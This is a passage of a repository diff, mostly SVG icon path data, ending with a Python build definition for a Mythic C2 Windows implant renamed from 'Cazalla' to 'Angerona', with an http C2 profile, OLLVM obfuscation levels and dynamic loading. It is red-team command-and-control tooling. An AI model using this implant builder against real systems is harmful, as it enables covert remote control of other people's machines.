27 310 242 435 347 213 177 550 507 765 750 266 299 570 708 800 1076 330 526
621 1169 805 1780 23 77 53 174 66 215 31 101 61 233 115 500 11 58 27 134 34
170 28 131 65 427 85 675 6 72 13 153 16 180 11 91 7 807 -5 955 -37 457 -70
693 -147 1055 -15 66 -32 149 -39 185 -23 112 -60 253 -103 390 -11 36 -36
117 -55 180 -41 138 -109 333 -118 340 -4 3 -14 28 -22 55 -17 59 -79 217
-113 293 -13 29 -24 55 -24 57 0 4 -29 68 -107 235 -76 162 -88 185 -95 188
-5 2 -8 9 -8 15 0 7 -6 23 -13 37 -88 166 -135 252 -180 327 -104 171 -190
309 -221 353 -17 25 -38 57 -46 72 -50 91 -359 503 -454 605 -21 23 -46 53
-54 65 -65 96 -522 570 -727 754 -416 374 -890 711 -1390 989 -22 12 -67 38
-100 56 -72 41 -361 181 -500 242 -243 108 -617 246 -850 314 -313 91 -352
101 -550 144 -496 107 -705 138 -1145 170 -142 10 -806 21 -865 14z m610 -380
c248 -9 644 -50 830 -85 28 -5 113 -21 190 -35 313 -58 691 -153 925 -234 145
-50 333 -116 385 -135 271 -99 784 -349 1069 -522 53 -32 114 -68 134 -79 49
-28 336 -223 420 -286 359 -269 572 -451 841 -716 197 -193 413 -433 571 -634
94 -119 180 -235 180 -243 0 -3 22 -35 50 -71 27 -36 71 -98 96 -138 26 -40
69 -104 95 -144 27 -40 49 -75 49 -77 0 -3 29 -52 64 -109 63 -102 77 -127
163 -284 41 -75 233 -461 233 -468 0 -2 13 -32 29 -67 69 -152 81 -181 81
-194 0 -8 5 -14 10 -14 6 0 10 -7 10 -15 0 -8 11 -43 24 -77 112 -287 237
-694 311 -1013 53 -228 135 -745 155 -980 6 -71 15 -168 20 -215 14 -138 5
-881 -14 -1056 -20 -188 -41 -344 -67 -494 -28 -156 -37 -211 -48 -272 -32
-178 -65 -310 -157 -628 -65 -225 -199 -596 -273 -756 -28 -61 -51 -114 -51
-118 0 -12 -239 -490 -297 -594 -68 -120 -244 -415 -253 -422 -3 -3 -46 -63
-94 -134 -99 -144 -121 -175 -244 -334 -376 -490 -778 -895 -1327 -1338 -187
-151 -637 -454 -830 -559 -38 -21 -106 -59 -150 -85 -232 -136 -700 -346
-1067 -479 -501 -181 -964 -292 -1518 -365 -272 -36 -402 -45 -714 -53 -377
-8 -674 9 -1111 67 -138 18 -559 98 -687 130 -388 98 -778 229 -1106 369 -78
34 -144 61 -146 61 -3 0 -89 41 -193 91 -172 84 -328 167 -538 287 -204 117
-623 406 -830 573 -199 160 -250 204 -415 355 -371 341 -641 640 -946 1049
-29 39 -62 82 -73 96 -88 113 -327 485 -424 659 -86 155 -238 454 -285 560
-143 323 -298 732 -355 940 -25 88 -109 412 -117 450 -5 19 -12 55 -18 80 -5
25 -19 95 -31 155 -11 61 -25 133 -30 160 -68 352 -101 737 -101 1180 0 447
23 726 96 1155 19 113 40 232 45 265 15 91 179 730 193 753 4 6 20 53 36 104
41 132 149 426 185 503 31 66 65 144 65 148 0 18 241 510 252 515 5 2 8 8 8
14 0 5 32 63 70 129 39 66 70 123 70 126 0 3 10 20 23 37 13 17 36 54 52 81
49 83 57 95 149 235 49 74 109 161 133 192 24 31 43 59 43 63 0 17 214 283
365 455 60 69 125 143 145 165 192 220 769 739 987 887 28 19 71 51 95 70 38
31 235 165 358 244 250 160 746 421 995 523 55 23 125 52 155 65 97 42 164 69
195 77 17 4 62 20 100 34 239 91 664 211 950 270 353 71 779 128 1085 145 353
19 353 19 725 5z"/>
<path d="M9725 16270 c-267 -24 -464 -54 -675 -101 -779 -173 -1408 -444
-2036 -877 -156 -108 -186 -130 -323 -240 -269 -215 -617 -556 -817 -802 -16
-19 -32 -36 -36 -38 -5 -2 -8 -10 -8 -17 0 -8 -6 -18 -13 -22 -7 -4 -44 -48
-81 -98 -38 -49 -72 -92 -76 -95 -7 -5 -105 -151 -232 -345 -36 -55 -89 -143
-118 -195 -30 -52 -56 -97 -59 -100 -18 -16 -202 -406 -295 -625 -61 -142
-180 -506 -220 -670 -30 -123 -53 -222 -59 -255 -2 -14 -14 -70 -25 -125 -79
-382 -108 -759 -98 -1245 3 -168 13 -363 21 -435 14 -126 42 -323 51 -368 2
-12 11 -56 19 -97 14 -75 20 -100 76 -330 30 -124 71 -267 89 -305 5 -11 20
-56 34 -100 33 -106 60 -178 146 -380 133 -312 297 -618 485 -905 87 -132 256
-365 280 -385 7 -5 39 -44 71 -85 208 -265 649 -702 894 -886 36 -27 72 -55
80 -62 66 -59 523 -373 568 -389 9 -4 35 -18 57 -32 110 -69 484 -260 570
-292 28 -9 91 -35 140 -57 111 -49 253 -99 410 -147 66 -20 134 -41 150 -46
40 -14 210 -58 260 -69 597 -124 779 -145 1280 -145 396 0 548 10 805 51 490
78 880 182 1273 341 62 25 130 52 152 60 62 23 427 205 555 277 290 163 641
413 916 652 412 358 776 768 1063 1197 147 220 369 618 453 812 84 196 150
363 188 480 23 72 47 134 51 139 5 6 9 19 9 30 0 11 11 54 25 96 30 92 81 300
106 435 10 55 25 136 34 180 21 109 42 273 56 435 14 155 18 695 6 880 -24
391 -124 919 -249 1325 -17 55 -34 104 -37 110 -7 13 -79 222 -93 268 -6 20
-14 37 -19 37 -5 0 -9 9 -9 20 0 11 -4 28 -10 38 -11 20 -69 150 -90 202 -27
65 -187 374 -249 478 -33 57 -61 105 -61 107 0 4 -104 164 -169 258 -25 37
-50 75 -56 83 -5 9 -18 26 -27 38 -10 11 -49 64 -88 116 -39 52 -82 107 -94
121 -13 14 -27 33 -32 41 -5 9 -39 49 -76 90 -37 40 -76 84 -87 98 -78 95
-320 339 -441 445 -30 27 -62 56 -70 64 -8 8 -82 68 -165 133 -82 64 -157 123
-165 130 -22 19 -324 228 -395 273 -156 99 -496 281 -645 344 -295 126 -300
127 -311 91 -4 -14 -21 -70 -38 -124 -17 -55 -30 -100 -28 -101 1 0 13 -6 27
-12 14 -6 86 -37 160 -68 74 -30 143 -60 153 -65 9 -6 25 -14 35 -18 70 -34
314 -163 342 -181 14 -9 34 -21 45 -28 133 -78 365 -228 375 -243 3 -3 12 -9
20 -12 22 -8 251 -189 393 -309 159 -135 241 -213 400 -384 216 -232 241 -261
388 -455 35 -47 67 -86 72 -88 4 -2 7 -8 7 -13 0 -6 17 -33 38 -62 60 -81 112
-156 112 -162 0 -5 92 -155 122 -198 53 -77 268 -507 268 -536 0 -6 5 -11 10
-11 6 0 10 -7 10 -15 0 -8 13 -42 29 -77 38 -80 141 -348 141 -365 0 -7 4 -21
10 -31 32 -56 163 -563 204 -792 132 -729 100 -1594 -84 -2280 -42 -156 -94
-333 -118 -400 -79 -220 -274 -659 -350 -787 -16 -26 -53 -91 -82 -143 -30
-52 -79 -133 -109 -180 -31 -47 -58 -90 -61 -95 -7 -15 -151 -218 -163 -230
-7 -7 -8 -5 -4 6 3 9 12 66 21 125 57 417 84 952 52 1059 -44 147 -200 265
-350 265 l-54 0 -7 48 c-10 68 -51 146 -109 206 -41 44 -64 58 -119 76 -59 19
-79 21 -145 14 -43 -4 -81 -8 -87 -9 -5 0 -18 27 -30 60 -25 73 -30 82 -77
133 -71 78 -161 117 -273 116 -70 0 -134 -25 -199 -79 -24 -19 -45 -35 -47
-35 -6 0 23 472 41 675 36 400 38 521 8 585 -9 19 -19 45 -23 57 -3 12 -22 38
-41 57 -78 78 -195 104 -297 66 -119 -45 -174 -111 -201 -242 -19 -92 -116
-789 -132 -948 -3 -36 -19 -153 -35 -260 -55 -365 -60 -395 -70 -470 -5 -41
-16 -127 -24 -190 -44 -354 -53 -402 -120 -602 -83 -250 -105 -340 -112 -459
-12 -209 50 -449 234 -919 36 -91 74 -192 85 -225 26 -76 34 -218 18 -315 -6
-41 -15 -100 -20 -130 -12 -73 -76 -364 -93 -418 -14 -47 -11 -45 -177 -112
-30 -12 -75 -30 -99 -41 -33 -15 -46 -17 -57 -8 -7 6 -55 93 -107 192 -52 100
-112 212 -135 250 -23 37 -59 95 -81 130 -95 154 -450 630 -543 729 -7 7 -28
31 -47 53 -120 142 -285 312 -515 534 -151 143 -160 154 -158 187 2 19 7 46
13 61 41 109 140 486 154 588 3 28 10 66 16 85 5 19 18 86 30 149 43 230 118
355 248 415 57 26 186 28 485 7 219 -15 359 -11 450 14 163 44 297 154 377
310 58 115 75 222 65 420 -5 114 -4 140 12 193 11 33 28 73 39 89 87 126 104
219 62 335 l-24 67 43 42 c43 41 86 119 95 173 5 32 -11 103 -42 188 -23 64
-27 124 -10 162 14 30 62 51 154 67 128 22 241 84 282 154 74 127 72 215 -11
383 -14 29 -46 96 -70 150 -25 54 -102 215 -171 358 -144 293 -187 394 -217
509 -23 85 -23 81 -18 480 2 190 0 242 -14 300 -10 39 -22 90 -27 114 -18 85
-58 238 -98 371 -23 74 -41 148 -41 165 0 17 11 47 25 68 37 54 63 119 80 201
43 206 -23 441 -172 613 -29 33 -53 64 -53 68 0 4 31 41 69 83 83 93 159 215
200 324 47 123 48 126 14 135 -60 17 -323 8 -446 -16 -65 -12 -123 -21 -128
-19 -6 2 -1 14 10 27 26 30 134 222 156 276 9 22 20 49 25 60 24 52 42 103 50
140 5 22 16 69 24 105 8 36 15 84 16 108 l0 42 -78 0 c-143 0 -393 -43 -548
-95 -124 -41 -333 -147 -420 -213 -165 -127 -301 -275 -389 -426 -7 -12 -10
38 -11 166 -1 159 -9 246 -31 322 -8 28 -80 16 -188 -32 -179 -78 -265 -133
-433 -274 -63 -53 -74 -55 -172 -32 -149 36 -421 65 -575 63 -312 -5 -507 -35
-775 -121 -245 -78 -360 -128 -600 -261 -157 -87 -404 -279 -560 -436 -108
-108 -230 -246 -230 -259 0 -4 -10 -18 -23 -32 -29 -31 -166 -237 -206 -310
-152 -271 -263 -602 -306 -903 -3 -27 -8 -58 -10 -69 -5 -25 -20 -267 -19
-293 1 -11 4 -69 8 -130 3 -60 9 -130 12 -155 9 -70 44 -233 53 -245 13 -17
21 -45 13 -45 -4 0 -23 15 -42 33 -35 32 -114 75 -181 96 -42 13 -224 15 -265
2 -16 -5 -55 -17 -87 -26 -117 -35 -273 -144 -357 -251 -103 -129 -178 -344
-165 -469 13 -122 15 -124 119 -69 157 84 297 85 454 5 61 -31 181 -153 216
-218 23 -43 137 -159 176 -178 19 -10 38 -23 42 -29 11 -17 9 -85 -3 -107 -9
-18 -17 -19 -52 -14 -99 17 -189 93 -318 271 -109 150 -231 202 -365 157 -217
-72 -347 -376 -290 -676 19 -97 65 -211 117 -290 65 -97 189 -209 286 -258
191 -94 445 -90 646 13 99 50 249 189 288 267 8 14 23 40 36 56 35 49 65 136
60 175 -2 19 -21 63 -41 97 -83 141 -149 372 -145 503 4 103 28 187 97 330 26
54 109 150 99 113 -49 -165 -58 -242 -46 -395 17 -225 92 -425 235 -628 116
-166 343 -329 521 -375 31 -8 60 -18 64 -22 4 -5 9 -35 10 -68 l3 -60 -55 1
c-58 1 -184 39 -255 77 -23 12 -65 35 -95 51 -55 29 -130 87 -184 142 -32 33
-84 69 -89 63 -1 -2 -10 -24 -20 -48 -30 -77 -162 -252 -231 -307 -21 -16 -49
-39 -64 -52 -14 -12 -55 -37 -91 -55 -36 -17 -67 -35 -70 -38 -9 -12 -185 -58
-227 -61 -35 -1 -43 -6 -43 -21 0 -33 69 -152 129 -223 101 -121 185 -179 322
-224 109 -36 270 -49 384 -32 215 34 416 154 543 324 l47 63 8 -95 c16 -197
-26 -473 -106 -700 -119 -340 -208 -514 -377 -737 -81 -107 -310 -341 -375
-382 -22 -14 -56 -38 -75 -52 -19 -15 -71 -46 -115 -69 -87 -47 -155 -92 -224
-149 -25 -20 -62 -48 -83 -62 -20 -14 -64 -48 -95 -76 -32 -28 -79 -68 -106
-89 -26 -22 -103 -85 -172 -141 l-124 -103 -64 83 c-34 45 -94 129 -131 187
-38 58 -82 124 -97 147 -16 23 -29 43 -29 46 0 2 -22 41 -50 87 -27 45 -63
110 -80 144 -17 33 -35 68 -40 76 -25 40 -166 336 -200 420 -104 257 -162 417
-204 565 -93 326 -137 552 -182 935 -21 184 -30 714 -15 907 13 154 44 415 62
518 47 255 85 428 136 605 24 87 93 303 102 325 9 21 51 134 81 220 18 49 100
238 120 272 5 10 35 72 66 138 31 66 64 131 74 145 9 14 34 59 56 100 21 41
47 84 56 94 10 11 18 23 18 28 0 4 13 27 29 50 16 24 76 115 135 203 128 193
154 228 231 324 33 41 71 88 84 105 26 33 177 203 221 247 165 172 265 269
366 358 142 124 271 231 279 231 3 0 35 23 71 51 189 146 624 415 834 514 30
14 62 30 70 34 8 5 26 13 40 19 14 6 50 22 80 35 30 14 79 33 108 43 28 10 52
22 52 26 0 5 6 8 13 8 7 0 79 25 159 55 193 72 558 176 753 215 33 7 80 16
105 21 248 50 735 99 985 99 156 0 372 -14 593 -37 160 -16 162 -16 185 3 36
33 117 80 202 119 142 65 134 58 84 72 -86 25 -237 50 -479 78 -217 26 -822
29 -1075 5z m2229 -298 c8 -13 -58 -190 -100 -269 -103 -190 -227 -335 -378
-442 -148 -104 -225 -144 -367 -189 -84 -27 -246 -59 -254 -50 -3 3 122 111
265 228 41 34 86 72 100 83 14 12 52 44 85 72 150 125 268 245 242 245 -53 -1
-390 -224 -637 -423 -8 -7 -41 -34 -73 -61 -32 -27 -59 -47 -62 -45 -7 8 45
142 82 209 141 255 394 456 718 568 62 21 209 55 305 71 30 5 58 9 62 10 4 0
9 -3 12 -7z m-1408 -308 c18 -124 -36 -432 -106 -597 -80 -186 -213 -355 -395
-498 -65 -51 -175 -116 -175 -103 0 3 19 39 43 81 23 42 59 108 80 147 21 39
53 96 72 126 92 153 225 453 205 465 -8 5 -67 -61 -110 -125 -13 -19 -27 -37
-31 -40 -12 -9 -125 -184 -216 -335 -50 -82 -107 -175 -128 -205 l-37 -55 5
135 c10 242 89 446 253 651 74 93 135 151 244 232 96 72 254 165 282 167 4 0
10 -21 14 -46z m1684 -407 c0 -25 -156 -228 -196 -253 -26 -18 -22 -19 -120
51 -39 28 -101 64 -138 79 -37 16 -64 32 -59 37 13 13 221 66 308 78 125 18
205 21 205 8z m-3046 -241 c9 -37 26 -250 26 -335 0 -96 -33 -287 -66 -381
-56 -161 -121 -277 -227 -405 -65 -78 -194 -201 -202 -193 -5 5 47 159 98 294
67 176 139 401 150 469 3 17 8 47 12 68 6 30 5 36 -6 32 -8 -3 -19 -15 -25
-28 -6 -12 -38 -76 -72 -142 -67 -133 -121 -254 -159 -360 -14 -38 -33 -88
-43 -110 -17 -40 -63 -157 -73 -185 -2 -8 -8 3 -11 25 -4 22 -11 51 -15 65 -4
14 -9 84 -10 156 -3 173 18 288 76 424 38 88 97 198 124 232 16 20 29 39 29
43 0 16 171 192 290 298 71 62 95 70 104 33z m2168 -271 c146 -37 253 -74 259
-90 7 -21 -164 -151 -341 -259 -94 -58 -292 -126 -425 -146 -85 -13 -323 -9
-431 8 -33 5 -81 18 -106 30 -25 11 -60 23 -77 27 -42 9 -39 22 7 28 35 4 228
45 317 67 22 5 114 26 205 45 189 42 271 63 284 76 6 5 20 9 32 9 13 0 26 5
30 11 5 8 -48 10 -192 6 -155 -3 -232 -10 -349 -31 -175 -31 -352 -64 -380
-72 -20 -5 -16 -1 45 50 97 78 260 172 370 211 232 84 501 94 752 30z m-1819
-95 c63 -24 82 -51 82 -119 0 -54 -30 -102 -75 -123 -20 -8 -31 -22 -36 -43
-8 -40 -85 -205 -96 -205 -4 0 -8 -6 -8 -13 0 -16 -124 -138 -159 -157 l-24
-12 24 32 c25 33 26 35 73 115 16 28 32 52 35 55 7 6 32 87 52 166 11 48 11
53 -15 96 -30 52 -36 130 -10 166 11 16 79 58 101 62 1 0 26 -9 56 -20z
m-1294 -405 c39 -172 52 -451 30 -612 -32 -238 -134 -442 -308 -623 -42 -44
-80 -80 -83 -80 -3 0 0 21 8 48 17 55 68 243 96 352 10 41 25 100 33 130 22
84 55 268 55 306 0 60 -25 41 -56 -41 -10 -27 -20 -52 -23 -55 -8 -7 -28 -60
-68 -185 -19 -60 -39 -119 -44 -130 -5 -11 -23 -67 -40 -125 -16 -58 -41 -136
-55 -173 -13 -38 -24 -77 -24 -88 0 -45 -19 -13 -36 64 -14 63 -18 124 -19
262 0 155 3 194 24 280 13 55 27 105 31 110 4 6 13 28 20 50 40 122 156 291
310 448 63 64 120 117 126 117 6 0 16 -25 23 -55z m3735 -93 c38 -81 73 -156
77 -167 22 -54 90 -249 109 -315 12 -41 26 -86 30 -100 18 -53 59 -240 76
-345 22 -129 23 -337 5 -468 -11 -70 -11 -105 -1 -170 25 -170 54 -250 187
-527 88 -183 162 -332 172 -350 9 -14 31 -62 116 -245 18 -38 41 -88 51 -110
11 -23 19 -63 19 -93 0 -48 -3 -57 -30 -79 -58 -48 -107 -63 -245 -74 -123
-10 -178 -22 -285 -63 -68 -26 -94 -21 -111 19 -8 19 -17 63 -21 98 -7 72 -14
83 -53 92 -59 13 -91 -19 -110 -111 -9 -41 -7 -61 9 -117 15 -50 17 -69 8 -72
-7 -2 -104 -11 -217 -20 -113 -8 -252 -20 -310 -25 -58 -6 -184 -17 -280 -25
-96 -9 -218 -20 -270 -25 -52 -5 -183 -16 -290 -25 -107 -8 -240 -20 -295 -25
-55 -5 -203 -17 -330 -25 -126 -9 -273 -20 -325 -25 -116 -12 -325 -29 -440
-35 -47 -3 -104 -8 -127 -10 -24 -3 -43 -3 -43 -1 0 1 7 18 17 36 9 19 17 59
17 94 1 60 1 61 -35 79 -50 24 -78 11 -111 -50 -61 -112 -138 -143 -271 -108
-112 29 -209 113 -373 320 -21 28 -44 55 -51 60 -30 25 -121 176 -133 221 -7
27 -17 53 -21 58 -14 15 3 70 30 99 53 59 91 70 267 78 88 4 169 6 180 4 10
-2 24 -4 29 -4 7 -1 11 -42 11 -113 -1 -108 1 -115 30 -168 72 -127 117 -172
180 -178 25 -3 37 3 58 28 14 17 26 38 26 46 0 22 -29 74 -61 112 -53 61 -73
111 -73 184 1 98 10 107 140 142 60 17 116 33 124 37 8 4 41 18 74 30 66 25
222 116 279 163 51 41 217 208 217 218 0 4 15 29 34 55 19 27 50 84 71 128 47
102 46 100 97 230 46 119 90 191 122 201 11 4 24 10 30 15 6 5 36 26 66 46 70
46 183 138 237 192 48 49 103 129 151 221 39 73 52 86 101 95 19 4 79 24 133
45 150 58 279 164 351 287 60 104 72 122 100 157 41 51 73 68 247 130 85 31
164 60 175 65 11 6 40 18 65 29 98 41 216 146 277 244 20 32 39 58 42 57 3 0
37 -66 75 -147z m-1804 -137 c145 -24 186 -36 413 -119 53 -20 74 -36 45 -36
-7 0 -26 -12 -43 -26 -85 -74 -224 -153 -410 -235 -214 -93 -572 -104 -810
-24 -89 29 -165 64 -165 75 0 4 21 10 48 13 131 15 394 49 447 57 33 5 74 12
90 14 137 21 276 50 301 64 17 10 16 11 -11 19 -58 16 -480 6 -674 -16 -234
-27 -234 -27 -196 -1 161 109 170 114 290 165 17 7 57 20 90 29 194 53 352 59
585 21z m-2842 -412 c12 -32 38 -120 57 -196 31 -121 35 -155 36 -275 2 -172
-6 -236 -48 -377 -34 -116 -129 -310 -174 -358 -11 -12 -27 -33 -34 -47 -7
-14 -32 -43 -56 -65 -38 -36 -41 -38 -35 -15 8 29 12 51 61 325 36 201 49 284
59 385 18 191 5 216 -44 85 -10 -25 -35 -115 -100 -355 -25 -93 -71 -303 -82
-373 -6 -42 -15 -74 -20 -69 -11 11 -57 165 -70 232 -37 201 -8 484 62 612 6
10 10 26 10 35 0 10 7 29 14 43 8 14 23 43 34 65 17 37 87 146 119 185 6 8 29
38 50 66 83 110 118 153 128 154 6 0 21 -26 33 -57z m1645 23 c58 -25 77 -51
77 -106 0 -27 -5 -61 -12 -75 -14 -31 -75 -65 -115 -65 -31 0 -87 31 -112 61
-15 18 -19 19 -96 5 -100 -19 -123 -26 -214 -65 -40 -18 -74 -31 -76 -29 -5 5
137 108 186 136 24 13 75 32 113 42 57 15 76 26 100 55 19 22 45 40 66 45 49
11 47 11 83 -4z m242 -401 c142 -24 366 -88 365 -104 -1 -3 -14 -15 -30 -26
-16 -11 -55 -38 -87 -60 -32 -22 -59 -43 -61 -47 -2 -5 -10 -8 -18 -8 -8 0
-14 -3 -14 -7 0 -13 -94 -69 -250 -150 -70 -36 -195 -75 -300 -93 -85 -15
-287 -16 -381 -1 -79 13 -309 80 -309 91 0 3 62 17 138 30 269 45 298 50 367
64 80 16 310 68 373 85 180 49 -248 46 -553 -3 -55 -9 -125 -21 -155 -26 -30
-5 -82 -12 -115 -16 l-59 -6 59 47 c196 152 350 218 585 249 67 9 356 -3 445
-19z m-1519 -421 c33 -34 38 -51 34 -104 -6 -76 -107 -134 -173 -99 -53 28
-71 58 -71 116 0 51 3 58 37 89 32 29 44 34 88 34 46 0 55 -4 85 -36z m586
-313 c93 -16 370 -93 388 -108 8 -8 -81 -80 -203 -165 -91 -64 -265 -156 -354
-187 -254 -89 -492 -91 -773 -6 -72 22 -78 27 -49 37 30 12 347 80 437 95 18
3 35 9 38 14 3 5 16 9 29 9 23 0 335 87 344 96 26 26 -144 29 -319 5 -261 -35
-315 -45 -458 -77 -62 -15 -115 -24 -118 -21 -7 7 157 137 174 137 6 0 12 4
12 9 0 5 8 11 18 14 9 3 33 15 52 26 215 124 505 169 782 122z m4732 -1815
c18 -7 43 -28 56 -46 22 -31 23 -36 16 -184 -3 -83 -11 -205 -16 -271 -11
-140 -25 -361 -41 -635 -6 -107 -17 -255 -24 -328 -12 -122 -16 -138 -47 -188
-45 -75 -358 -391 -376 -380 -5 3 2 76 14 163 12 87 25 183 29 213 8 68 15
111 54 380 17 118 56 393 87 610 31 217 61 423 66 458 5 34 17 88 26 120 16
51 22 59 62 80 52 26 51 26 94 8z m-4214 -619 c121 -40 217 -67 600 -169 63
-16 158 -38 210 -48 52 -10 142 -29 200 -43 58 -13 141 -32 185 -40 44 -9 112
-23 150 -31 119 -25 789 -121 1025 -146 278 -31 334 -36 435 -45 59 -5 517
-35 536 -35 27 0 7 -145 -29 -217 -31 -59 -107 -139 -165 -172 -106 -60 -231
-78 -442 -62 -186 15 -399 49 -560 92 -22 6 -56 14 -75 18 -183 42 -500 143
-567 180 -10 6 -38 17 -63 25 -43 14 -98 37 -200 83 -25 11 -52 23 -60 27 -8
3 -22 10 -30 16 -8 5 -42 21 -74 35 -55 24 -122 65 -235 144 -50 35 -89 39
-120 14 -23 -20 -30 -68 -14 -98 6 -11 33 -47 60 -81 26 -33 59 -76 73 -94 59
-80 183 -223 281 -325 58 -60 136 -144 174 -185 37 -41 141 -146 229 -234 89
-87 168 -169 177 -183 14 -21 14 -33 4 -96 -40 -235 -67 -351 -130 -562 -42
-139 -83 -287 -122 -435 -32 -121 -36 -152 -41 -297 -2 -90 -1 -183 3 -209 12
-84 80 -120 139 -73 26 20 26 21 27 162 1 78 4 166 7 196 l7 54 86 -114 c118
-156 117 -154 207 -329 84 -163 136 -286 183 -435 30 -97 53 -220 44 -236 -4
-5 -57 -9 -119 -9 -100 0 -131 5 -287 44 -168 43 -280 77 -384 117 -269 102
-405 157 -465 188 -19 10 -46 22 -60 26 -14 4 -52 20 -85 35 -33 15 -116 53
-185 84 -69 32 -145 68 -170 80 -25 13 -56 27 -69 31 -35 11 -355 170 -496
247 -66 36 -130 68 -142 72 -31 10 -71 61 -79 101 -13 70 -123 163 -219 186
-27 6 -84 15 -125 19 -75 7 -75 7 -135 66 -68 66 -229 204 -239 204 -3 0 -32
20 -63 44 -123 93 -263 166 -466 245 -56 22 -110 42 -121 45 -16 5 -10 12 30
38 60 40 299 278 375 373 162 206 277 403 355 610 19 50 37 97 41 105 4 8 23
74 44 145 41 144 40 145 58 -20 27 -257 -5 -440 -113 -655 -68 -135 -70 -150
-18 -150 20 0 53 5 72 10 19 6 67 17 105 25 151 32 423 129 515 185 180 109
337 326 392 541 28 114 22 366 -12 474 -38 121 -110 271 -192 403 -32 51 -58
95 -58 96 0 7 67 -12 200 -57z m4707 -725 c90 -34 134 -100 134 -203 1 -57
-12 -110 -76 -314 -19 -60 -41 -139 -49 -175 -24 -108 -85 -311 -113 -373 -47
-105 -123 -143 -203 -102 -36 19 -38 41 -6 86 30 42 147 244 164 283 22 49 42
164 42 236 0 76 -27 173 -65 235 -57 94 -68 124 -61 173 7 52 43 113 81 138
21 14 64 28 97 33 4 1 29 -7 55 -17z m473 -295 c58 -16 65 -21 101 -69 26 -37
29 -49 29 -115 0 -45 -6 -85 -14 -101 -20 -37 -49 -105 -78 -182 -76 -198
-144 -378 -180 -480 -49 -138 -57 -151 -116 -190 -64 -42 -110 -41 -159 4 -34
31 -37 39 -41 97 -3 58 5 89 76 314 44 138 83 266 86 285 4 19 33 111 64 204
67 200 94 237 177 244 6 1 30 -4 55 -11z m-780 -142 c31 -62 33 -68 28 -152
-9 -140 -43 -208 -217 -435 -101 -131 -131 -217 -131 -384 0 -96 18 -121 155
-212 174 -115 258 -207 325 -356 52 -114 68 -178 90 -355 12 -100 26 -121 82
-121 28 0 46 7 63 25 22 21 25 33 25 96 0 152 -80 419 -163 547 -79 120 -110
149 -337 316 -30 23 -58 45 -62 51 -9 12 -9 91 1 124 6 22 7 22 21 7 28 -34
104 -64 182 -71 l77 -7 15 -52 c49 -166 221 -254 395 -202 l45 13 52 -53 c67
-66 128 -89 225 -82 82 6 139 36 198 105 37 44 145 248 201 381 12 28 26 52
31 52 5 0 6 -44 3 -97 -24 -477 -92 -840 -182 -979 -36 -54 -341 -372 -457
-475 -193 -172 -511 -420 -652 -511 -62 -40 -190 -119 -231 -143 -83 -49 -144
-82 -247 -134 -141 -72 -137 -75 -105 75 60 283 63 307 64 464 0 181 -8 221
-89 410 -67 159 -196 543 -230 686 -36 152 -36 246 3 394 28 106 51 176 148
457 l36 102 96 92 c179 172 407 404 446 457 46 60 49 59 96 -33z m1241 -231
c28 -17 48 -41 65 -77 21 -47 24 -65 24 -189 0 -145 -3 -154 -44 -123 -11 8
-36 15 -56 15 -48 0 -83 -37 -110 -115 -28 -80 -157 -339 -187 -375 -33 -39
-85 -56 -124 -40 -31 13 -59 55 -59 87 0 37 56 205 135 408 45 116 88 228 95
250 20 66 70 146 104 166 45 27 107 25 157 -7z m-7376 -1523 c194 -33 349 -79
485 -142 135 -64 174 -93 234 -177 57 -81 91 -118 128 -136 48 -24 93 -105
208 -371 81 -186 280 -752 280 -795 0 -19 -4 -18 -87 11 -194 69 -443 190
-788 383 -211 119 -563 377 -831 607 -189 164 -590 572 -578 590 5 8 159 45
249 59 33 5 164 7 290 5 200 -3 254 -8 410 -34z m1533 -540 c24 -14 51 -30 61
-36 83 -48 369 -244 481 -329 36 -27 81 -62 100 -76 85 -65 407 -301 497 -365
24 -17 58 -41 77 -55 201 -149 590 -407 723 -480 62 -34 115 -65 117 -69 7
-10 -221 -21 -443 -21 -159 0 -497 19 -611 35 -117 16 -103 5 -181 133 -240
390 -562 845 -861 1220 -43 53 -78 100 -78 105 0 5 17 -1 38 -14 20 -12 56
-34 80 -48z m-338 -11 c39 -39 116 -128 172 -197 57 -70 131 -161 165 -202 71
-87 330 -436 390 -526 82 -122 203 -317 229 -368 l15 -28 -38 6 c-79 14 -401
97 -491 128 -107 36 -99 26 -139 177 -51 196 -204 634 -288 825 -7 17 -27 64
-43 105 -17 41 -38 92 -46 113 -10 23 -12 37 -6 37 6 0 42 -32 80 -70z"/>
<path d="M11505 13063 c-162 -12 -401 -74 -511 -131 -22 -11 -84 -42 -139 -69
-55 -26 -102 -50 -105 -54 -3 -3 -23 -13 -45 -24 -40 -18 -143 -91 -157 -110
-4 -5 -8 -28 -8 -51 0 -32 5 -43 23 -53 55 -29 87 -18 270 88 49 28 92 51 97
51 4 0 49 20 99 45 50 25 97 45 104 45 7 0 17 4 23 8 13 13 170 59 238 71 75
14 267 14 337 1 30 -6 96 -30 147 -55 139 -67 202 -58 202 28 0 46 -27 76
-112 121 -129 68 -303 102 -463 89z"/>
<path d="M11535 12619 c-80 -19 -173 -53 -313 -116 -226 -102 -350 -182 -336
-217 7 -17 212 -115 329 -156 110 -39 251 -69 327 -70 80 0 102 21 127 125 11
44 24 120 30 170 9 86 11 91 45 120 52 44 50 116 -4 145 -23 12 -150 12 -205
-1z"/>
</g>
</svg>

After

Width:  |  Height:  |  Size: 23 KiB

@@ -7,6 +7,7 @@ from mythic_container.MythicRPC import *
import json
from distutils.dir_util import copy_tree,remove_tree
import asyncio
import hashlib
import string, random, os, subprocess
@@ -14,18 +15,18 @@ def generate_random_string(length=100):
chars = string.ascii_letters + string.digits # a-zA-Z0-9
return ''.join(random.choices(chars, k=length))
class CazallaAgent(PayloadType):
name = "Cazalla"
class AngeronaAgent(PayloadType):
name = "Angerona"
file_extension = "exe"
author = "OFSTeam"
supported_os = [SupportedOS.Windows]
wrapper = False
wrapped_payloads = []
note = """C implant Developed by the Kaseya OFSTeam"""
supports_dynamic_loading = False
supports_dynamic_loading = True
c2_profiles = ["http"]
mythic_encrypts = True
translation_container = "cazalla_translator"
translation_container = "angerona_translator"
build_parameters = [
BuildParameter(
name="output",
@@ -51,13 +52,13 @@ class CazallaAgent(PayloadType):
BuildParameter(
name="ollvm_compilation",
parameter_type=BuildParameterType.ChooseOne,
description="OLLVM obfuscation",
description="OLLVM obfuscation level (0=None, 1=Light, 2=Heavy)",
choices=["0","1","2"],
default_value="0"
)
]
agent_path = pathlib.Path(".") / "cazalla"
agent_icon_path = agent_path / "agent_functions" / "cazalla.png"
agent_path = pathlib.Path(".") / "angerona"
agent_icon_path = agent_path / "agent_functions" / "angerona.svg"
agent_code_path = agent_path / "agent_code"
build_steps = [
@@ -198,6 +199,60 @@ class CazallaAgent(PayloadType):
StepSuccess=True
))
